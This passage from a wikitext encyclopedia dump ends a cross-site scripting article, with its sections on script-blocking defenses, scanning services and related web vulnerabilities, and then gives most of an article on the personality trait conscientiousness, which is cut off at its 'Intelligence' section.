Some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis. This approach is of limited value if scripting is allowed by default, since it blocks bad sites only ''after'' the user knows that they are bad, which is too late. Functionality that blocks all scripting and external inclusions by default and then allows the user to enable it on a per-domain basis is more effective. This has been possible for a long time in Internet Explorer (since version 4) by setting up its so called "Security Zones",<ref>{{cite web |title=How to use security zones in Internet Explorer |url=http://support.microsoft.com/kb/174360/en-us |date=December 18, 2007 |publisher=Microsoft |accessdate=June 4, 2008 }}</ref> and in Opera (since version 9) using its "Site Specific Preferences".<ref>{{cite web ||first=Håkon Wium |last=Lie |title=Opera 9 Technology Preview 2 |url=http://labs.opera.com/news/2006/02/07-2/ |date=February 7, 2006 |publisher=Opera Software |accessdate=June 4, 2008 }}</ref> A solution for Firefox and other [[Gecko (layout engine)|Gecko]]-based browsers is the open source [[NoScript]] add-on which, in addition to the ability to enable scripts on a per-domain basis, provides some XSS protection even when scripts are enabled.<ref>{{cite web |title=NoScript |url=http://addons.mozilla.org/en-US/firefox/addon/noscript/ |publisher=Mozilla |date=May 30, 2008 |accessdate=June 4, 2008 }} and {{cite news |last=Mogull |first=Rich |title=Should Mac Users Run Antivirus Software? |url=http://db.tidbits.com/article/9511 |date=March 18, 2008 |work=TidBITS |publisher=TidBITS Publishing |accessdate=June 4, 2008 }}</ref>

The most significant problem with blocking all scripts on all websites by default is substantial reduction in functionality and responsiveness (client-side scripting can be much faster than server-side scripting because it does not need to connect to a remote server and the page or frame does not need to be reloaded).<ref>{{cite web |title="Using client-side events" in DataWindow Programmer's Guide |url=http://www.elsevier.com/homepage/saa/trac/progmeth.htm |date=March 2003 |publisher=Sybase |accessdate=June 4, 2008 }}</ref> Another problem with script blocking is that many users do not understand it, and do not know how to properly secure their browsers. Yet another drawback is that many sites do not work without client-side scripting, forcing users to disable protection for that site and opening their systems to vulnerabilities.<ref>73% of sites relied on JavaScript in late 2006, in {{cite news |title='Most websites' failing disabled |url=http://news.bbc.co.uk/2/hi/technology/6210068.stm |publisher=BBC News |date=December 6, 2006 |accessdate=June 4, 2008 }}</ref> The Firefox NoScript extension enables users to allow scripts selectively from a given page while disallowing others on the same page. For example, scripts from example.com could be allowed, while scripts from advertisingagency.com that are attempting to run on the same page could be disallowed.<ref>{{cite web |title=NoScript Features |url=http://noscript.net/features |accessdate=March 7, 2009 }}</ref>

===Emerging defensive technologies===
There are three classes of XSS defense that are emerging. These include [[Content Security Policy]],<ref>{{cite web |url=http://www.w3.org/TR/CSP/ |title=Content Security Policy 1.0 |work=W3C Candidate Recommendation |date=November 15, 2012 |accessdate=February 22, 2013 }}</ref> Javascript sandbox tools, and auto-escaping templates. These mechanisms are still evolving but promise a future of heavily reduced XSS attack occurrence.

== Scanning service ==
Some companies offer a periodic scan service, essentially simulating an attack from their server to a client's in order to check if the attack is successful. If the attack succeeds, the client receives detailed information on how it was performed and thus has a chance to fix the issues before the same attack is attempted by someone else. A [[trust seal]] can be displayed on the site that passes a recent scan. The scanner may not find all possible vulnerabilities,<ref>[http://blog.skeptikal.org/2010/03/website-security-seals-smackdown.html Sceptic blog]</ref> and therefore sites with trust seals may still be vulnerable to new types of attack, but the scan may detect some problems. After the client fixes them, the site is more secure than it was before using the service. For sites that require complete mitigation of XSS vulnerabilities, assessment techniques like manual code review are necessary. Additionally, if Javascript is executing on the page, the seal could be overwritten with a static copy of the seal (so, in theory, such a service alone is likely not sufficient to eliminate XSS risk completely).

==Related vulnerabilities==
In a '''Universal Cross-Site Scripting''' ('''UXSS''', or '''Universal XSS''') attack, vulnerabilities in the browser itself are exploited (rather than vulnerabilities in other websites, as is the case with XSS attacks); such attacks are commonly used by [[Anonymous (group)|Anonymous]], along with DDoS, to compromise control of a network.<ref>{{cite web |first=Stefano |last=Di Paola |title=Adobe Acrobat Reader Plugin - Multiple Vulnerabilities |url=http://www.wisec.it/vulns.php?page=9 |date=January 3, 2007 |publisher=Wisec.it |accessdate=March 13, 2012 }}</ref>

Several classes of vulnerabilities or attack techniques are related to XSS: [[cross-zone scripting]] exploits "zone" concepts in certain browsers and usually executes code with a greater privilege.<ref>{{cite news |title=Security hole in Internet Explorer allows attackers to execute arbitrary programs |url=http://www.h-online.com/security/news/item/Security-hole-in-Internet-Explorer-allows-attackers-to-execute-arbitrary-programs-735225.html |date=May 16, 2008 |publisher=Heise Media UK |accessdate=June 7, 2008 }}</ref> [[HTTP header injection]] can be used to create cross-site scripting conditions due to escaping problems on HTTP protocol level (in addition to enabling attacks such as [[HTTP response splitting]]).<ref>{{cite web |title=Update available for potential HTTP header injection vulnerabilities in Adobe Flash Player |url=http://www.adobe.com/support/security/bulletins/apsb06-18.html |date=November 14, 2006 |publisher=Adobe Systems |accessdate=June 7, 2008 }}</ref>

[[Cross-site request forgery]] (CSRF/XSRF) is almost the opposite of XSS, in that rather than exploiting the user's trust in a site, the attacker (and his malicious page) exploits the site's trust in the client software, submitting requests that the site believes represent conscious and intentional actions of authenticated users.<ref>{{cite web |last=Auger |first=Robert |title=The Cross-Site Request Forgery (CSRF/XSRF) FAQ (version 1.59) |url=http://www.cgisecurity.com/articles/csrf-faq.shtml |date=April 17, 2008 |publisher=Cgisecurity.com |accessdate=June 7, 2008 }}</ref> XSS vulnerabilities (even in other applications running on the same domain) allow attackers to bypass CSRF prevention efforts.<ref>[http://www.webappsecblog.com/CsrfAndSameOriginXss.html "Article about CSRF and same-origin XSS"]</ref>

[[Phishing#Covert_redirect|Covert Redirection]] takes advantage of third-party clients susceptible to XSS or Open Redirect attacks.<ref name="Covert_Redirect">{{cite web |url=https://news.ycombinator.com/item?id=7685677 |title=OAuth 2.0 and OpenID Redirect Vulnerability |publisher=Hacker News |date=May 2, 2014 |accessdate=December 21, 2014 }}</ref> Normal phishing attempts can be easy to spot, because the malicious page's URL will usually be off by a couple of letters from that of the real site. The difference with Covert Redirection is that an attacker could use the real website instead by corrupting the site with a malicious login pop-up dialogue box.<ref name="tomsguide">{{cite news |url=http://www.tomsguide.com/us/facebook-google-covert-redirect-flaw,news-18726.html |title=Facebook, Google Users Threatened by New Security Flaw |publisher=Tom's Guide |first=Jill |last=Scharr |date=May 2, 2014 |accessdate=December 21, 2014 }}</ref>

Lastly, [[SQL injection]] exploits a vulnerability in the database layer of an application. When user input is incorrectly filtered, any SQL statements can be executed by the application.<ref>{{cite web |title=SQL Injection |url=http://projects.webappsec.org/SQL-Injection |year=2005 |publisher=Web Application Security Consortium |accessdate=June 7, 2008 }}</ref><ref>{{cite web |title=The Cross-Site Scripting FAQ |url=http://www.cgisecurity.com/xss-faq.html |year=2002 |publisher=Cgisecurity.com |accessdate=June 7, 2008 }}</ref>

==See also==
{{Portal|Software Testing}}
*[[Pale_Moon_(web_browser)|Pale Moon]], a web browser with XSS filtering
*[[Web application security]]
*[[Internet security]]
*[[XML external entity]]
*[[Browser security]]
*[[Same-origin policy]]
*[[Metasploit Project]], an open-source penetration testing tool that includes tests for XSS
*[[w3af]], an open-source [[web application security scanner]]
*Free desktop [[browser extension]]s that flexibly block execution of scripts:
**For [[Mozilla Firefox]]: [[NoScript]], [https://addons.mozilla.org/en-US/firefox/addon/policeman/ Policeman], or the [https://github.com/gorhill/uBlock/wiki/Advanced-user-features advanced features] of [https://addons.mozilla.org/en-US/firefox/addon/ublock-origin/ uBlock Origin], a general content blocker [https://github.com/gorhill/uBlock extension]
**For [[Google Chrome]]: [https://chrome.google.com/webstore/detail/scriptsafe/oiigbmnaadbkfbmpbfijlflahbdbdgdf ScriptSafe], [https://chrome.google.com/webstore/detail/%C2%B5matrix/ogfcmafjalglgifnmanfmnieipoejdcf µMatrix] (an [https://github.com/gorhill/uMatrix extension] by the creator of [[uBlock]]), or the advanced features of [https://chrome.google.com/webstore/detail/%C2%B5block/cjpalhdlnbpafiamejdnhcphjbkeiagm uBlock]
**For [[Opera (web browser)|Opera]] (newer [[Chromium (web browser)|Chromium]]-based versions): [https://addons.opera.com/en-gb/extensions/details/umatrix/ µMatrix] or the advanced features of [https://addons.opera.com/en-gb/extensions/details/ublock/ uBlock]
**For [[Safari (web browser)|Safari]]: [http://javascript-blocker.toggleable.com/ JavaScript Blocker] or the advanced features of [https://chrismatic.io/ublock/ uBlock]
**For [[Internet Explorer]]: [https://web.archive.org/web/20070621032607/http://www.jasons-toolbox.com/programs.asp?Program=Trust%20Setter Trust Setter], an interface to setting Trusted and Restricted Sites (32-bit only, so does not work under Enhanced [[Mandatory Integrity Control|Protected Mode]] in 64-bit [[Microsoft Windows|Windows]])
*[http://xsser.sf.net XSSer: an automatic framework to detect, exploit and report XSS vulnerabilities]
*[[Cross-document messaging]]
*[[Samy (computer worm)]]
*[[Self-XSS]]

==References==
{{Reflist|30em}}

==Further reading==
*{{cite web | last=MacKenzie | first=Thomas | title= ScriptAlert1.com – Concise Cross-Site Scripting Explanation in Multiple Languages | url=http://www.scriptalert1.com | accessdate=2015-10-24}}
*{{cite web | title=XSS Explained – Simple XSS Explanation | website=HoubySoft.com | url=http://www.houbysoft.com/v/en/papers/xss/ | accessdate=2015-10-24}}
*{{cite web | title=Preventing XSS in ASP.NET Made Easy | website=Lock Me Down | Security for the Everyday Developer | date=2015-02-06 | url=http://lockmedown.com/preventing-xss-in-asp-net-made-easy/ | accessdate=2015-10-24}}
*{{cite web | title=Cross Site Scripting | website=The Web Application Security Consortium | date=2005-10-13 | url=http://projects.webappsec.org/Cross-Site-Scripting | accessdate=2015-10-24}}

==External links==
*[[OWASP]]: [https://www.owasp.org/index.php/XSS XSS], [http://www.owasp.org/index.php/Testing_for_Cross_site_scripting Testing for XSS], [http://www.owasp.org/index.php/Reviewing_Code_for_Cross-site_scripting Reviewing Code for XSS]
*[http://www.xssed.com/ XSSed: Database of Websites Vulnerable to Cross-Site Scripting Attacks]
*[http://www.virtualforge.de/vmovie/xss_lesson_1/xss_selling_platform_v1.0.swf Flash Animation of Cross-Site Scripting Attack]

{{DEFAULTSORT:Cross-Site Scripting}}
[[Category:Web security exploits]]
[[Category:Computer security exploits]]
[[Category:Injection exploits]]
[[Category:Hacking (computer security)]]

Conscientiousness

2016-09-25T02:01:15Z

PythonCode: Fixed typo

'''Conscientiousness''' is the [[personality trait]] of being [[:wikt:thorough|thorough]], [[:wikt:careful|careful]], or [[:wikt:vigilant|vigilant]]. Conscientiousness implies a desire to do a task well. Conscientious people are [[Efficiency|efficient]] and [[Organizing (structure)|organized]] as opposed to [[Relaxation (psychology)|easy-going]] and [[:wikt:disorderly|disorderly]]. They exhibit a tendency to show [[self-discipline]], act [[Duty|dutifully]], and [[need for achievement|aim for achievement]]; they display [[Planning|planned]] rather than [[spontaneity and indifference|spontaneous]] behavior; and they are generally [[Organizing (structure)|organized]] and [[Dependability|dependable]]. They have a more functional [[anterior cingulate cortex]] (ACC) than the average person. It is manifested in characteristic behaviors such as being [[Orderliness|neat]] and [[:wikt:systematic|systematic]]; also including such elements as [[:wikt:carefulness|carefulness]], [[:wikt:thoroughness|thoroughness]], and [[:wikt:deliberate|deliberation]] (the tendency to think carefully before acting.)<ref name="Thompson">{{cite journal|last=Thompson|first=E.R.|title=Development and Validation of an International English Big-Five Mini-Markers|journal=Personality and Individual Differences|date=October 2008|volume=45|issue=6|pages=542–548|doi=10.1016/j.paid.2008.06.013|url=http://www.sciencedirect.com/science/article/pii/S0191886908002195}}</ref> Conscientiousness is one of the five traits of the [[Big Five personality traits|Five Factor Model]] of personality and is an aspect of what has traditionally been referred to as having [[moral character|character]]. Conscientious individuals are generally [[:wikt:hard-working|hard-working]] and [[:wikt:reliable|reliable]]. They are also likely to be [[conformity|conformists]].<ref>{{cite journal|last1=DeYoung|first1=Colin|last2=Peterson|first2=Jordan|last3=Higgins|first3=Daniel|title=Higher-order factors of the Big Five predict conformity: Are there neuroses of health?|journal=Personality and Individual Differences|date=2002|volume=33|pages=533–552|url=http://www.tc.umn.edu/~cdeyoung/Pubs/DeYoung_2002_metatraits_conformity_PAID.pdf|doi=10.1016/s0191-8869(01)00171-4}}</ref> When taken to an extreme, they may also be "[[workaholic]]s", [[Perfectionism (psychology)|perfectionists]], and [[Compulsive behavior|compulsive]] in their behavior.<ref name=downsides>{{cite journal|last1=Carter|first1=Nathan L.|last2=Guan|first2=Li|last3=Maples|first3=Jessica L.|last4=Williamson|first4=Rachel L.|last5=Miller|first5=Joshua D.|title=The downsides of extreme conscientiousness for psychological wellbeing: The role of obsessive compulsive tendencies|journal=Journal of Personality|date=2015|volume=Accepted Article|pages=n/a|doi=10.1111/jopy.12177}}</ref> People who score low on conscientiousness tend to be laid back, less goal-oriented, and less driven by success; they also are more likely to engage in [[Antisocial personality disorder|antisocial]] and [[Criminal behavior|criminal]] behavior.<ref name="ReferenceA">{{cite journal | last1 = Ozer | first1 = D. J. | last2 = Benet-Martínez | first2 = V. | year = 2006 | title = Personality and the prediction of consequential outcomes | url = | journal = Annual Review of Psychology | volume = 57 | issue = | pages = 401–421 | doi=10.1146/annurev.psych.57.102904.190127 | pmid=16318601}}</ref>

== Personality models ==
Conscientiousness is one of the five major [[Dimension (mathematics and physics)|dimensions]] in the [[Big Five personality traits|Big Five model]] (also called [[Five Factor Model]]) of [[Personality psychology|personality]], which also consists of [[extraversion]], [[neuroticism]], [[openness to experience]], and [[agreeableness]]. Two of many [[personality test]]s that assess these traits are Costa and McCrae's [[NEO PI-R]]<ref name="Costa, P. T. 1992">Costa, P. T. & McCrae, R. R. (1992). ''NEO personality Inventory professional manual''. Odessa, FL: Psychological Assessment Resources.</ref> and [[Lewis Goldberg|Goldberg]]'s [[NEO-IPIP]].<ref>http://ipip.ori.org/</ref> According to these models, conscientiousness is considered to be a [[Continuous function|continuous]] dimension of personality, rather than a [[Categorization|categorical]] '[[Typification|type]]' of person.

Conscientiousness is related to [[impulse control]], but it should not be confused with the problems of impulse control associated with other personality traits, such as (high) [[Extraversion and introversion|extraversion]], (low) [[agreeableness]], (high) [[Openness to experience|openness]] and (high) [[neuroticism]]. Individuals low on conscientiousness are unable to motivate themselves to perform a task that they would like to accomplish.<ref name="Costa, P. T. 1992" /> Recently, conscientiousness has been broken down, further, into two "[[:wikt:aspect|aspects]]": [[orderliness]] and [[:wikt:industrious|industrious]], the former which is associated with the desire to keep things [[Organizing (structure)|organized]] and [[Orderliness|tidy]] and the latter which is associated more closely with [[productivity]] and [[work ethic]].<ref>{{cite journal | last1 = DeYoung | first1 = C. G. | last2 = Quilty | first2 = L. C. | last3 = Peterson | first3 = J. B. | year = 2007 | title = Between facets and domains: 10 aspects of the Big Five | url = | journal = Journal of Personality and Social Psychology | volume = 93 | issue = 5| pages = 880–896 | doi=10.1037/0022-3514.93.5.880| pmid = 17983306 }}</ref> Conscientiousness, along with (lower) openness, is also one of the [[:wikt:indicator|trait markers]] of [[political conservatism]].<ref>Hirsh, J.B., DeYoung, C.G., Xu, X., & Peterson, J.B. (2010). Compassionate liberals and polite conservatives. ''Personality and Social Psychology Bulletin'', 655–664.</ref>

The trait cluster of conscientiousness overlaps with other models of personality, such as [[C. Robert Cloninger]]'s [[Temperament and Character Inventory]], in which it is related to both [[self-directedness]] and [[persistence (psychology)|persistence]].<ref name=defruyt>{{cite journal|last=De Fruyt|first=F.|last2=Van De Wiele |first2=L. |last3=Van Heeringen |first3=C.|title=Cloninger's Psychobiological Model of Temperament and Character and the Five-Factor Model of Personality|journal=Personality and Individual Differences|year=2000|volume=29|issue=3|pages=441–452|url=http://www.sciencedirect.com/science/article/pii/S0191886999002044|doi=10.1016/S0191-8869(99)00204-4}}</ref> It also includes the specific traits of ''[[rule consciousness]]'' and ''[[Perfectionism (psychology)|perfectionism]]'' in [[Raymond Cattell|Cattell's]] [[16 Personality Factors|16 PF model]]. It is negatively associated with ''[[Impulsiveness|impulsive]] [[sensation-seeking]]'' in Zuckerman's [[alternative five]] model. [[Trait theory|Traits]] associated with conscientiousness are frequently assessed by self-report integrity tests given by various corporations to prospective employees.

== Origin ==
Terms such as 'hard-working,' 'reliable,' and 'persevering' describe desirable aspects of character. Because it was once believed to be a moral evaluation, conscientiousness was overlooked as a real psychological attribute. The reality of individual differences in conscientiousness has now been clearly established by studies of cross-observer agreement. Peer and expert ratings confirm the self-reports that people make about their degrees of conscientiousness. Furthermore, both self-reports and observer ratings of conscientiousness predict real-life outcomes such as academic success. During most of the 20th century, psychologists believed that personality traits could be divided into two categories: [[temperament]] and [[moral character|character]]. Temperament traits were thought to be biologically based, whereas character traits were thought to be learned either during childhood or throughout life. With the advent of the [[Big Five personality traits|FFM]] (Five-Factor Model), behavior geneticists began systematic studies of the full range of personality traits, and it soon became clear that all five factors are substantially heritable. Identical twins showed very similar personality traits even when they had been separated at birth and raised apart, and this was equally true for both character traits and temperament traits. Parents and communities influence the ways in which conscientiousness is expressed, but they apparently do not influence its level.<ref name="McCrae">McCrae, Robert. (2004). "Conscientiousness" ''Encyclopedia of Applied Psychology, Three-Volume Set''. Academic Press. p. 470</ref>

== Measurement ==
A person's level of conscientiousness is generally assessed using self-report measures, although peer-reports and third-party observation can also be used. Self-report measures are either ''lexical''<ref name="Thompson" /> or based on ''statements''.<ref name="Goldbergetal">{{cite journal|last=Goldberg|first=L.R.|author2=Johnson, JA |author3=Eber, HW |title=The international personality item pool and the future of public-domain personality measures|journal=Journal of Research in Personality|year=2006|volume=40|issue=1|pages=84–96|doi=10.1016/j.jrp.2005.08.007|display-authors=etal}}</ref> Deciding which measure of either type to use in research is determined by an assessment of psychometric properties and the time and space constraints of the study being undertaken.

=== Lexical ===
[[Lexical hypothesis|''Lexical measures'']] use individual adjectives that reflect conscientiousness traits, such as efficient and systematic, and are very space and time efficient for research purposes. Goldberg (1992)<ref>{{cite journal|last=Goldberg|first=L.R.|title=The development of markers for the Big-Five factor structure|journal=Psychological Assessment|year=1992|volume=4|issue=1|pages=26–42|doi=10.1037/1040-3590.4.1.26}}</ref> developed a 20-word measure as part of his 100-word Big Five markers. Saucier (1994)<ref>{{cite journal|last=Saucier|first=G|title=Mini-Markers – a brief version of Goldberg’s unipolar big-five markers|journal=Journal of Personality Assessment|year=1994|volume=63|issue=3|pages=506–516|doi=10.1207/s15327752jpa6303_8|pmid=7844738}}</ref> developed a briefer 8-word measure as part of his 40-word mini-markers. Thompson (2008) <ref name="Thompson" /> systematically revised these measures to develop the International English Mini-Markers which has superior validity and reliability in populations both within and outside North America. Internal consistency reliability of the International English Mini-Markers for the Conscientiousness measure for native English-speakers is reported as .90, that for non-native English-speakers is .86.<ref name="Thompson" />

=== Statement ===
''Statement measures'' tend to comprise more words than lexical measures, so hence consume more research instrument space and more respondent time to complete. Respondents are asked the extent to which they, for example, Often forget to put things back in their proper place, or Am careful to avoid making mistakes.<ref name="Goldbergetal" /> Some statement-based measures of conscientiousness have similarly acceptable psychometric properties in North American populations to lexical measures, but their generally [[Emic and etic|emic]] development makes them less suited to use in other populations.<ref>{{cite journal|last=Piedmont|first=R.L.|author2=Chae, J.H.|title=Cross-cultural generalizability of the five-factor model of personality – Development and validation of the NEO PI-R for Koreans|journal=Journal of Cross-Cultural Psychology|year=1997|volume=28|issue=2|pages=131–155|doi=10.1177/0022022197282001}}</ref> For instance, statements in colloquial North American English like ''Often forget to put things back in their proper place'' or ''Am careful to avoid making mistakes'' can be hard for non-native English-speakers to understand, suggesting internationally validated measures might be more appropriate for research conducted with non-North Americans.

== Behavior ==

=== Development ===
Currently, little is known about conscientiousness in young children because the self-report inventories typically used to assess it are not appropriate for that age group. It is likely, however, that there are individual differences on this factor at an early age. We know, for example, that some children have [[Attention deficit hyperactivity disorder|attention deficit/hyperactivity disorder]](adhd does not go away with age; however it would still be interesting to understand how neurodevelopmental disorders such as ADHD and autism relate to the development of conscientiousness and other personality traits), which is characterized in part by problems with concentration, organization, and persistence; traits which are related to conscientiousness {{citation needed|date=February 2015}}. Longitudinal and cross-sectional studies suggest that conscientiousness is relatively low among adolescents but increases between 18 and 30 years of age. Research has also shown that conscientiousness generally increases with age from 21 to 60, though the rate of increase does slow.<ref>http://70-40-202-166.bluehost.com/drjwilcoxson/wp-content/uploads/2008/08/personality-article.pdf</ref>

Individual differences are also strongly preserved, meaning that a careful, neat, and scrupulous 30-year-old is likely to become a careful, neat, and scrupulous 80-year-old.<ref name="McCrae" />

=== Daily life ===
People who score high on the trait of conscientiousness tend to be more organized and less cluttered in their homes and offices. For example, their books tend to be neatly shelved in alphabetical order, or categorized by topic, rather than scattered around the room. Their clothes tend to be folded and arranged in drawers or closets instead of lying on the floor. The presence of planners and to-do lists are also signs of conscientiousness. Their homes tend to have better lighting than the homes of people who score low on this trait.<ref>Gosling, S. (2008). ''Snoop: What your stuff says about you?''. New York: Basic Books.</ref> Recently, ten behaviors strongly associated with conscientiousness were scientifically categorized (the number at the end of each behavior is a correlation coefficient; a negative number means conscientious people were less likely to manifest the behavior):<ref>{{cite journal | last1 = Hirsh | first1 = J.B. | last2 = DeYoung | first2 = C.G. | last3 = Peterson | first3 = J.B. | year = 2009 | title = Metatraits of the Big Five differentially predict engagement and restraint of behavior | url = | journal = Journal of Personality | volume = 77 | issue = 4| pages = 1085–1101 | doi=10.1111/j.1467-6494.2009.00575.x}}</ref>

# Discussed sexual matters with a male friend (−.23)
# Lounged around my house without any clothes on (−.22)
# Picked up a hitch-hiker (−.21)
# Read a tabloid paper (−.19)
# Drove or rode in a car without a seatbelt (−.19)
# Swore around other people (−.18)
# Spent an hour at a time daydreaming (−.18)
# Shopped at a second-hand thrift shop (−.18)
# Told a dirty joke (−.18)
# Listened to music (+.18)

=== Academic and workplace performance ===
Conscientiousness is importantly related to successful academic performance in students and workplace performance among managers and workers.<ref>{{cite journal | last1 = Higgins | first1 = D.M. | last2 = Peterson | first2 = J.B. | last3 = Lee | first3 = A. | last4 = Pihl | first4 = R.O. | year = 2007 | title = Prefrontal cognitive ability, intelligence, Big Five personality and the prediction of advanced academic and workplace performance | url = | journal = Journal of Personality and Social Psychology | volume = 93 | issue = 2| pages = 298–319 | doi=10.1037/0022-3514.93.2.298| pmid = 17645401 }}</ref> Low levels of conscientiousness are strongly associated with [[procrastination]].<ref>{{cite journal | last1 = Dewitt | first1 = S. | last2 = Schouwenburg | first2 = H. C. | year = 2002 | title = Procrastination, temptations, and incentives: The struggle between the present and the future in procrastinators and the punctual | url = | journal = European Journal of Personality | volume = 16 | issue = 6| pages = 469–489 | doi=10.1002/per.461}}</ref> A considerable amount of research indicates that conscientiousness has a small positive correlation with performance in the workplace,<ref>{{Cite journal
| author = J. F. Salgado
|date=February 1997
| title = The five factor model of personality and job performance in the European community
| journal = [[Journal of Applied Psychology]]
| volume = 82
| pages = 30–43
| pmid = 9119797

| issue = 1
| doi = 10.1037/0021-9010.82.1.30
}}</ref> and indeed that after [[intelligence|general mental ability]] is taken into account, the other four of the [[Big Five personality traits]] do not aid in predicting career success.<ref>{{Cite journal
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| last = Schmidt
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| accessdate = 2010-07-12}}</ref>{{rp|169}}
Conscientious employees are generally more reliable, more motivated, and harder working. They also have lower rates of absenteeism and [[counterproductive work behavior]]s such as stealing and fighting with other employees.<ref name=handbook /> Furthermore, conscientiousness is the only personality trait that correlates with performance across all categories of jobs.
However, [[agreeableness]] and emotional stability may also be important, particularly in jobs that involve a significant amount of social interaction.<ref>{{Cite journal
| author = M. K. Mount, M. R. Barrick and G. L. Stewart
| year = 1998
| title = Five-factor model of personality and Performance in jobs involving interpersonal interactions
| journal = Human Performance
| volume = 11
| pages = 145–165
| doi = 10.1207/s15327043hup1102&3_3
| issue = 2
| doi-broken-date = 2015-11-01
}}</ref>
Of all manager/leader types, top executives show the lowest level of rule-following, a conscientious trait.<ref>{{cite web|last1=MacNab|first1=Donald|title=New research shows leaders are persuasive rule-breakers|url=https://www.psychometrics.com/docs/leaders_persuasive_rule-breakers.pdf|publisher=Psychometrics Canada}}</ref> Conscientiousness is not always positively related to job performance, sometimes the opposite is true.<ref>{{cite web|last1=Tett|first1=Robert|title=Is Conscientiousness ALWAYS Positively Related to Job Performance?|url=http://www.siop.org/tip/backissues/TIPJuly98/tett.aspx|publisher=Wright State University}}</ref>{{Example needed}}

=== Subjective well-being ===
{{Main|Subjective well-being}}
In general, conscientiousness has a positive relationship with subjective well-being, particularly satisfaction with life, so highly conscientious people tend to be happier with their lives than those who score low on this trait.<ref name=Steel>{{cite journal|last= Steel|first=Piers|last2=Schmidt |first2=Joseph |last3=Shultz |first3=Jonas|title=Refining the relationship between personality and Subjective well-being|journal=Psychological Bulletin|year=2008|volume=134|pages=138–161|url=http://www.subjectpool.com/ed_teach/y4person/3_happiness/Steel2008_5FM_and_happiness_psych_bull.pdf | doi= 10.1037/0033-2909.134.1.138|pmid=18193998|issue=1}}</ref>
Although conscientiousness is generally seen as a positive trait to possess, recent research has suggested that in some situations it may be harmful for well-being. In a prospective study of 9570 individuals over four years, highly conscientious people suffered more than twice as much if they became unemployed.<ref>Boyce, C. J., & Wood, A., M., & Brown, G. D. A. (in press). [http://personalpages.manchester.ac.uk/staff/alex.wood/cons.pdf The dark side of conscientiousness: Conscientious people experience greater drops in life satisfaction following unemployment.]''Journal of Research in Personality''</ref> The authors suggested this may be due to conscientious people making different attributions about why they became unemployed, or through experiencing stronger reactions following failure. This finding is consistent with perspectives which see no trait as inherently positive or negative, but rather the consequences of the trait being dependent on the situation and concomitant goals and motivations.<ref>Wood, A. M., & Tarrier, N. (in press). [http://personalpages.manchester.ac.uk/staff/alex.wood/PCP.pdf Positive Clinical Psychology: A new vision and strategy for integrated research and practice.]''Clinical Psychology Review''</ref>

=== Problematic life outcomes ===
Low conscientiousness has been linked to antisocial and criminal behaviors,<ref name="ReferenceA" /> as well as unemployment, homelessness, and imprisonment.<ref name=handbook /> Low conscientiousness and low agreeableness taken together are also associated with substance abuse.<ref>{{cite journal | last1 = Walton | first1 = KE | last2 = Roberts | first2 = BW. | year = 2004 | title = On the relationship between substance use and personality traits: abstainers are not maladjusted | url = | journal = J. Res. Personal | volume = 38 | issue = 6| pages = 515–35 | doi=10.1016/j.jrp.2004.01.002}}</ref> People low in conscientiousness have difficulty saving money and have different borrowing practices than conscientious people. High conscientiousness is associated with more careful planning of shopping trips and less impulse buying of unneeded items.<ref name=handbook /> Conscientiousness has been found to be positively correlated with business white collar crime.<ref>{{cite journal | last1 = Blickle | first1 = G. | last2 = Schlegel | first2 = A. | year = 2006 | title = Some Personality Correlates of Business White-Collar Crime | url = http://onlinelibrary.wiley.com/doi/10.1111/j.1464-0597.2006.00226.x/abstract | journal = Applied Psychology | volume = 55 | issue = 2 | pages = 220–233 | doi=10.1111/j.1464-0597.2006.00226.x}}</ref>

=== Health and longevity ===

According to an 80-year old and ongoing research started in 1921 by psychologist [[Lewis Terman]] on over 1,500 gifted adolescent Californians, "The strongest predictor of long life was conscientiousness."<ref>{{cite news |title=Psychological Predictors of Long Life: An 80-year study discovers traits that help people to live longer.|url=http://www.psychologytoday.com/blog/looking-in-the-cultural-mirror/201206/psychological-predictors-long-life |publisher=[[Psychology Today]] |date=June 5, 2012 }}</ref>{{Better source|date=February 2016}} Specific behaviors associated with low conscientiousness may explain its influence on longevity. Nine different behaviors that are among the leading causes of mortality—alcohol use, disordered eating (including obesity), drug use, lack of exercise, risky sexual behavior, risky driving, tobacco use, suicide, and violence—are all predicted by low conscientiousness. Health behaviors are more strongly correlated with the conventionality rather than the impulse-control aspect of conscientiousness. Apparently, social norms influence many health-relevant behavior, such as healthy diet and exercise, not smoking and moderate drinking, and highly conscientious people adhere the most strongly to these norms.<ref name="handbook">{{cite book|title=Handbook of Individual Differences in Social Behavior|year=2009|publisher=The Guildford Press|location=New York/London|isbn=978-1-59385-647-2|pages=257–273|author=Roberts, B.W.|author2=Jackson, J.J. |author3=Fayard, J.V. |author4=Edmonds, G. |author5=Meints, J|editor=Mark R. Leary, & Rick H. Hoyle|chapter=Chapter 25. Conscientiousness}}</ref> Additionally, conscientiousness is positively related to health behaviors such as regular visits to a doctor, checking smoke alarms, and adherence to medication regimens. Such behavior may better safeguard health and prevent disease.<ref name="handbook" />{{Better source|date=February 2016}}

=== Relationships ===
Relationship quality is positively associated with partners' level of conscientiousness, and highly conscientious people are less likely to get divorced. Conscientiousness is associated with lower rates of behavior associated with divorce, such as extramarital affairs, spousal abuse, and alcohol abuse. Conscientious behaviors may have a direct influence on relationship quality, as people low in conscientiousness are less responsible, less responsive to their partners, are more condescending, and less likely to hold back offensive comments. On the other hand, more conscientious people are better at managing conflict and tend to provoke fewer disagreements, perhaps because they elicit less criticism due to their well-controlled and responsible behavior.<ref name=handbook />{{Better source|date=February 2016}}

=== Fertility ===
{{Expand section|date=February 2016}}

Fertility has been found to decrease in women who exhibit higher levels of conscientiousness.<ref>{{cite journal | last1 = Skirbekk | first1 = Vegard | last2 = Blekesaune | first2 = Morten | year = 2013 | title = Personality Traits Increasingly Important for Male Fertility: Evidence from Norway | url = http://onlinelibrary.wiley.com/doi/10.1002/per.1936/abstract | journal = European Journal of Personality | volume = | issue = | pages = n/a| doi=10.1002/per.1936}}</ref>

=== Conformity ===
Conscientiousness (all its subfactors) correlate significantly with conformity (+0.33, ''p'' < 0.01).<ref>{{cite journal|last1=DeYoung|first1=Colin|last2=Peterson|first2=Jordan|last3=Higgins|first3=Daniel|title=Higher-order factors of the Big Five predict conformity: Are there neuroses of health?|journal=Personality and Individual Differences|date=2002|volume=33|pages=533–552|url=http://www.tc.umn.edu/~cdeyoung/Pubs/DeYoung_2002_metatraits_conformity_PAID.pdf|doi=10.1016/s0191-8869(01)00171-4}}</ref>

=== Intelligence ===
